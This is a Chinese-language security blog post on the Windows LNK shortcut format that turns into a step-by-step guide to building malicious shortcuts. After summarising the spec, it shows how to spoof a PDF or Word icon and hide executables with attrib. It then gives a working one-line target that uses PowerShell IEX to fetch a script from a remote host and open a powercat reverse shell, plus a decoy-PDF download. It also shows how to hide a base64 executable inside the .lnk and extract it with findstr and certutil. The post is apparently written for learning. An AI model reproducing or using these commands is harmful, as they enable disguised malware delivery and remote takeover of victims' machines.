LNK文件利用方式

本文最后更新于:2022-03-16 下午

前言

来学习一下,关于LNK文件的一些东西,主要是文件的格式,还有利用的方式。

LNK文件格式

LNK文件是用于指向其他文件的一种文件,这些文件通常称为快捷方式文件,其扩展名为.lnk

IDA的快捷方式

ShellLinkHeader

ShellLinkHeader结构包含标识信息、时间戳和指定可选结构存在的标志。

文件的前20个字节都是固定的格式,是不变的,分别是4个字节的HeaderSize,此值必须是0x0000004C;十六个字节的LinkCLSID,类标识符,此值必须为00021401-0000-0000-C000-000000000046。

固定的前20个字节

剩下的一些结构如表

字段 偏移 长度 描述
LinkFlags 14h 4字节 一个LinkFlags结构,指定有关shell链接的信息以及该结构的可选部分的存在
FileAttributes 18h 4字节 一个FileAttributesFlags结构,指定有关链接目标的信息
CreationTime 1ch 8字节 文件创建时间
AccessTime 24h 8字节 文件修改时间
WriteTime 2ch 8字节 文件最后一次访问时间
FileSize 34h 4字节 目标文件大小
IconIndex 38h 4字节 自定义图标个数
ShowCommand 3ch 4字节 目标文件执行时窗口显示的方式:
(1)SW_SHOWNORMAL 0x00000001 正常显示
(2)SW_SHOWMAXIMIZED 0x00000003 最小化
(3)SW_SHOWMINNOACTIVE 0x00000007 最大化
HotKey 40h 2字节 热键
Reserved1/2/3 42h 10字节 必须为0

LinkFlags

关于LinkFlags结构,直接查看微软官方的文档吧

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/ae350202-3ba9-4790-9e9e-98935f4ee5af

FileAttributes

文件的属性

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/378f485c-0be9-47a4-a261-7df467c3c9c6

HotKey

热键标志

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/8cd21240-1b5d-43e6-adc4-38cf14e30cea

LinkTargetIDList

LinkTargetIDList结构指定链接的目标,这个可选的结构是否存在是由LinkFlags中的HasLinkTargetIDList位指定。

0-15 IDListSize 2字节:IDList字段的大小(以字节为单位)

16-31 IDList 变量:存储的IDList结构,其中包含项目IDList

IDList

ItemIDList 变量:零个或多个ItemID结构的数组

TerminalID 2字节:一个十六位无符号整数,指示项目ID的结尾。该值必须为0。

ItemID

ItemID是IDList结构中的一个元素,存储在给定ItemID中的数据由与前面ItemID的目标命名空间中的位置对应的源定义。此数据唯一标识命名空间的该部分中的项目。

0-15 ItemIDSize 2字节:一个十六位无符号整数,以字节为单位指定ItemID结构(包括ItemIDSize字段)的大小。

16-31 Data 变量:Shell数据源定义的数据,用于指定项目。

LinkInfo

LinkInfo结构指定在链接目标未在其原始位置找到时解析链接目标所需的信息。这包括有关存储目标的卷、映射的驱动器号以及路径的通用命名约定(UNC)形式的信息。

说实话,偷懒了,不想打了,随时需要的时候在微软官方查吧

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/6813269d-0cc8-4be2-933f-e96e8e3412dc

StringData

StringData是指一组传达用户界面和路径表示信息的结构。符合以下的规则:

  • NAME_STRING:一种可选结构,用于指定对快捷方式的描述,该快捷方式的描述将显示给最终用户以标识shell链接的用户。如果设置了HasName标志,则必须存在此结构。
  • RELATIVE_PATH:一个可选结构,用于指定链接目标相对于包含外壳链接的文件的位置。指定时,在解析链接时应该使用该字符串。如果设置了HasRelativePath标志,则必须存在此结构。
  • WORKING_DIR:一个可选结构,用于指定激活链接目标时要使用的工作目录的文件系统路径。如果设置了HasWorkingDir标志,则必须存在此结构。
  • COMMAND_LINE_ARGUMENTS:一种可选结构,用于存储在激活链接目标时指定的命令行参数。如果设置了HasArguments标志,则必须存在此结构。
  • ICON_LOCATION:一个可选结构,用于指定在图标视图中显示外壳程序链接项时要使用的图标的位置。如果设置了HasIconLocation标志,则必须存在此结构。

具有以下结构:

  • CountCharacters(2字节):一个16位无符号整数,它指定由系统默认代码页定义的字符数或在string字段中找到的Unicode字符数。零值指定一个空字符串。
  • String(变量):由系统默认代码页定义的可选字符集,或长度由CountCharacters字段指定的Unicode字符串。此字符串不可以以NULL结尾。

EnvironmentVariableDataBlock

LinkFlagsHasExpString设为1,文件包含EnvironmentVariableDataBlock。

  • BlockSize(4字节):该字段值必须为0x0314
  • BlockSignature(4字节):该字段值必须为0xA0000001
  • TargetAnsi(260字节):指定环境变量路径(ANSI字符串)
  • TargetUnicode(520字节):指定环境变量路径(UNICODE字符串)

EXTRA_DATA

额外数据是指一组传达与有关链接目标的附加信息的结构。这些可选结构可以出现在附加到基本Shell链接二进制文件格式的额外数据部分中。

具体https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1

构造恶意的LNK文件

修改LNK文件的图标

首先生成一个正常的LNK文件,然后选择更换图标

在这里要选择%SystemRoot%/System32/SHELL32.dll路径,中的任何一个图标都可以。

使用十六进制编辑器打开,找到ICON_LOCATION,看到这里的路径

将其修改为.\a.pdf,修改这里的字符串和长度,当然了这里的名字是无所谓的,后缀决定以什么图标显示。

此时显示为PDF的样子

修改为DOC后缀,就显示了word的样子

执行恶意文件

将快捷方式伪装成为其他程序的样式,比如PDF、DOCX这种,然后实际指向隐藏的恶意程序。

这里创建一个文件夹,里面放入一个pdf文件和一个exe文件,exe是一个弹窗程序。

这里注意要将程序设置为隐藏,可以使用CMD命令

1
attrib +S +H ProcessName

attrib命令解释

这样的话用户要同时打开这两个选项才能看到的隐藏的文件。

创建一个快捷方式文件,然后修改其图标,看到当前的文件情况。

快捷方式的目标值如下,主要是通过cmd命令打开当前目录下的1.pdf和message.exe。然后运行方式选择最小化,不然打开会有CMD的黑框。

1
%windir%\system32\cmd.exe /c "start 1.pdf&&start message.exe"

设置好文件隐藏之后,如图,只有一个快捷方式。

打开快捷方式,就会同时打开PDF文档和弹窗的程序。

执行远程的恶意代码

执行远程的恶意代码只需要一个LNK文件就可以实现,就是在目标中设置好要执行的远程代码的路径就可以了。

这里用powercat这个工具来演示一下

https://github.com/besimorhino/powercat

首先下载好,然后开启一个http服务,构造这样的命令,我将原来的脚本名字改为了1.ps1

1
C:\Windows\System32\cmd.exe cmd /c "powershell -c IEX (New-object system.net.webclient).DownLoadstring('http://192.168.202.132:8888/1.ps1');powercat -c 192.168.202.132 -p 1234 -e cmd"

然后在原来的脚本之前加入这样的一段,意思是将服务器上的1.pdf下载保存在临时目录之中,然后打开。

1
$a=$env:temp;$a=$a+"\1.pdf";(new-object system.net.webclient).downloadfile('http://192.168.202.132:8888/1.pdf',$a);start-process $a;

监听1234端口,点击lnk文件,这边就会连接到了。同时也会在主机的temp目录下生成1.pdf,并且打开它。

执行自身的恶意代码

这种方法可以将恶意代码隐藏在LNK文件之中,运行的时候,运行这部分恶意代码。

首先将恶意代码添加到LNK文件中,需要在设置完目标之后再执行将恶意代码追加,否则的话更改了目标之后,追加的内容,会被清空

1
2
3
printf '\x0d\x0a' >> test.pdf.lnk     # 回车换行
base64 -w 0 c:\windows\system32\calc.exe >> test.pdf.lnk # base64编码后追加进lnk文件
printf '\x0d\x0a' >> test.pdf.lnk # 回车换行

使用findstr提取恶意编码,查看编码后的数据,可以看到开头是TVqQAAMAAAAEAAAA

需要注意,再查找的时候,要先将LNK文件进行复制为一个普通的二进制文件,否则会去查找目标对应的文件。

1
2
copy test.pdf.lnk %temp%\t1
findstr "TVqQAAMAAAAEAAA" %temp%\t1 > %temp%\t2

通过certutil解码提取源文件

1
certutil -decode %temp%\t2 %temp%\t3.exe

成功提取出来,双击就会运行计算器

LNK的目标中将刚才说的这些填入即可。

过长参数的处理

在正常操作中,快捷方式指定的参数存在长度限制,但是当需要设置复杂的指令的时候,就会超过这个长度限制,此时可以通过修改长度限制。

在这里修改如图中的,长度就可以

参考链接

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943

https://cloud.tencent.com/developer/article/1670931

https://www.yunyawu.com/2021/06/15/%e6%81%b6%e6%84%8f%e4%bb%a3%e7%a0%81%e6%8a%80%e6%9c%af%e7%90%86%e8%ae%ba%ef%bc%9a%e6%81%b6%e6%84%8f%e8%84%9a%e6%9c%ac-lnk%e5%88%86%e6%9e%90/#13_%E6%96%87%E4%BB%B6%E4%BD%8D%E7%BD%AE%E4%BF%A1%E6%81%AF%E6%AE%B5_LinkInfo

https://blog.rz6.tech/2021/09/13/windows-lnk.html#0x03-%E6%89%A7%E8%A1%8C%E8%87%AA%E8%BA%AB%E7%9A%84%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!